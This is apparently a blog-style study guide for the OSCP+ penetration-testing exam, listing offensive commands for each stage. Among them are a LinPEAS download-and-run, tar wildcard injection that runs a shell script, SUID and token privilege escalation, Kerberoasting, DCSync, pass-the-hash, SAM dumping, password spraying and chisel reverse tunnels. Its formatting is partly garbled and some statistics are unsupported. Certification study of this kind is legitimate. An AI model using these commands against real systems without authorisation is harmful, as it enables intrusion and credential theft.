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Introduction:
The Offensive Security Certified Professional Plus (OSCP+) remains one of the most respected hands-on penetration testing certifications, requiring candidates to compromise multiple machines within a 24-hour exam window. Success hinges on methodical enumeration, precise exploitation, and seamless privilege escalation across Windows, Linux, and Active Directory environments. This article extracts core technical workflows from the Ignite Technologies OSCP+ training path, providing verified commands, pivoting techniques, and credential attack strategies to help you capture flags efficiently.
Learning Objectives:
- Execute a full penetration testing methodology from reconnaissance to root access on Linux/Windows targets.
- Perform Active Directory enumeration, Kerberoasting, and lateral movement using native tools and PowerShell.
- Apply tunneling and pivot techniques to access internal networks through compromised jump hosts.
You Should Know
- Information Gathering & Enumeration – The Foundation of Every CTF
Effective enumeration reduces exploitation time by 70%. Begin with network scanning to discover live hosts and open ports.
Linux Commands:
Discover live hosts on a subnet nmap -sn 192.168.1.0/24 Aggressive service scan with default scripts nmap -sC -sV -p- -T4 192.168.1.100 -oA full_scan Enumerate SMB shares anonymously enum4linux -a 192.168.1.100 smbclient -L //192.168.1.100 -N Enumerate SNMP (if community string public) snmpwalk -v 2c -c public 192.168.1.100
Windows (PowerShell):
Quick port scan using Test-NetConnection
1..1024 | ForEach-Object { Test-NetConnection 192.168.1.100 -Port $_ -WarningAction SilentlyContinue }
Enumerate network shares
net view \192.168.1.100
Step-by-step:
- Run `nmap -sC -sV` to identify OS, services, and versions.
- Check for common misconfigurations: null SMB sessions, anonymous FTP, default SNMP community strings.
- Use `gobuster` or `ffuf` for web directory brute-forcing when HTTP/HTTPS is open.
-
Vulnerability Scanning & Analysis – Automating the Hunt
While manual testing is critical, automated scanners accelerate the identification of low-hanging fruit.
Commands:
Run Nmap vulnerability scripts nmap --script vuln -p 80,443,445 192.168.1.100 Nikto web server scanner nikto -h http://192.168.1.100 Search for public exploits (requires searchsploit) searchsploit Apache 2.4.49
Step-by-step:
- Use `nmap –script vuln` to detect known CVEs without triggering intrusive payloads.
- Cross-reference service versions with `searchsploit` to find ready-made exploits (e.g., Apache 2.4.49 path traversal).
- Always verify automated findings with manual testing to avoid false positives.
- Linux Privilege Escalation – From User to Root
Once a low-privilege shell is obtained, systematic enumeration of sudo rights, SUID binaries, cron jobs, and kernel vulnerabilities is essential.
Key Commands:
Check sudo permissions sudo -l Find SUID binaries find / -perm -4000 -type f 2>/dev/null Exploit common SUID binary (e.g., pkexec) /usr/bin/pkexec /bin/bash LinPEAS automated enumeration (download and run) wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh && ./linpeas.sh Check writable cron scripts ls -la /etc/cron 2>/dev/null
Step-by-step:
- Run `sudo -l` – if `(ALL) NOPASSWD: ALL` is present, simply
sudo su -. - For wildcard injection in `tar` or `rsync` cron jobs, create a file named `–checkpoint=1` and another
--checkpoint-action=exec=sh shell.sh. - Kernel exploits (e.g., Dirty Pipe, CVE-2022-0847) are risky for exams; prefer misconfigurations first.
-
Windows Privilege Escalation – Tokens, Services, and Potatoes
Windows escalation often revolves around service permissions, unquoted service paths, or SeImpersonate privileges.
PowerShell One-liners:
Enumerate installed patches and OS info systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix(s)" Check service permissions using accesschk (from Sysinternals) accesschk.exe -uwcqv "Authenticated Users" SeImpersonate privilege exploitation (PrintSpoofer) PrintSpoofer64.exe -i -c cmd.exe Run WinPEAS as admin winpeas.exe > output.txt
Step-by-step:
- List all services with `sc query` and check for writable binary paths. Replace the binary with a reverse shell.
- Unquoted service paths: if path has spaces and no quotes, Windows tries to execute the first word. Drop a malicious `Program.exe` in
C:\Program Files\. - Always check `AlwaysInstallElevated` registry keys:
`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated`
- Active Directory Attacks – Kerberoasting, AS-REP Roasting, and BloodHound
AD is the heart of OSCP+ labs. Start with enumeration using BloodHound, then harvest tickets.
Linux Commands (using Impacket):
Kerberoasting – extract service account hashes GetUserSPNs.py -request -dc-ip 192.168.1.10 domain.local/username:password AS-REP Roasting for users without pre-authentication GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt DCSync attack (requires Domain Admin privileges) secretsdump.py domain.local/administrator:[email protected] -just-dc
Windows (PowerShell):
Import PowerView Import-Module .\PowerView.ps1 Find Kerberoastable accounts Get-DomainUser -SPN | Select-Object name, serviceprincipalname BloodHound SharpHound collector .\SharpHound.exe -c All --outputdirectory C:\temp
Step-by-step:
- Run SharpHound, upload the ZIP to BloodHound GUI, and analyze shortest paths to Domain Admin.
- Use `hashcat -m 13100` for Kerberoast hashes (mode 13100) and `-m 18200` for AS-REP.
3. For lateral movement, pass-the-hash with Impacket:
`psexec.py domain.local/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:ntlmhash`
6. Tunneling & Pivoting – Breaching Network Segmentation
After compromising a perimeter host, tunnel traffic to internal networks.
Linux Pivot with Chisel:
On attacker machine (server) chisel server -p 8000 --reverse On compromised Linux host (client) chisel client <attacker_ip>:8000 R:1080:socks Proxy traffic through SOCKS5 proxychains4 nmap -sT -Pn 10.0.1.1
Windows Pivot with SSH Dynamic Port Forwarding:
On Windows (if OpenSSH client is installed) ssh -D 1080 attacker@<attacker_ip> -N Using plink (PuTTY link) on legacy Windows plink.exe -ssh -D 1080 attacker@<attacker_ip> -N
Step-by-step:
- Install `proxychains4` and edit `/etc/proxychains4.conf` to
socks4 127.0.0.1 1080. - Run internal scans via proxychains (note: slow, use `-Pn` and
-sT). - For HTTP pivoting, use `ssh -L 8080:internal_web:80 user@jumpbox` to forward internal web app to localhost.
- Password Attacks & Credential Exploitation – Cracking and Spraying
Gather password hashes from /etc/shadow, SAM files, or memory dumps, then crack offline.
Hash Extraction:
Dump SAM from Windows (requires admin) reg save hklm\sam sam.save reg save hklm\system system.save Then offline with impacket-secretsdump impacket-secretsdump -sam sam.save -system system.save LOCAL
Cracking with Hashcat:
NTLM hash mode 1000 hashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -O Linux SHA-512 (mode 1800) – use rules hashcat -m 1800 shadow.txt rockyou.txt -r best64.rule
Password Spraying (without account lockout):
Using CrackMapExec crackmapexec smb 192.168.1.0/24 -u usernames.txt -p 'Spring2026!' --continue-on-success
Step-by-step:
- Run `john` if Hashcat is unavailable:
john --format=nt --wordlist=rockyou.txt hash.txt. - For spraying, use a slow delay: `–delay 30` to avoid lockouts.
- After cracking, use `evil-winrm` for PowerShell remoting:
`evil-winrm -i 192.168.1.10 -u administrator -p ‘cracked_password’`
What Undercode Say
- Methodical enumeration beats brute force – most OSCP+ CTF flags are missed due to incomplete port scans or ignored UDP services. Always run `-sU` on top 20 UDP ports.
- Privilege escalation is pattern-based – after 10–15 practice machines, you’ll recognize SUID binaries (pkexec, sudo), writable services, and token impersonation opportunities instantly.
- Active Directory chains are the new frontier – the exam now heavily weighs AD attacks (Kerberoasting, ACL abuses, DCSync). BloodHound visualizations cut exploitation time from hours to minutes.
- Tunneling is non‑negotiable – without chisel or SSH dynamic forwarding, you cannot access internal AD servers. Practice proxifying every tool (nmap, crackmapexec, evil-winrm) via SOCKS.
This hands‑on curriculum from Ignite Technologies mirrors real red team workflows. The 100% passing aggregate suggests that mastering the above commands and step‑by‑step guides directly translates to exam success.
Prediction
The OSCP+ certification will evolve to include cloud‑hybrid attack paths (Azure AD, AWS IAM misconfigurations) by 2027, as enterprises shift to hybrid identities. Additionally, AI‑assisted reconnaissance tools will force exam developers to introduce “anti‑AI” puzzles that require creative manual logic. Future CTF designs will likely phase out known kernel exploits in favor of chained misconfigurations (e.g., cron + wildcard + sudo). Candidates who focus on foundational enumeration and scripting (Bash, PowerShell, Python) will remain ahead, as automation cannot yet replicate human intuition for business‑logic flaws. Expect OSCP+ to also require a brief evasion section (bypassing AV/EDR) to align with modern red teaming contracts.
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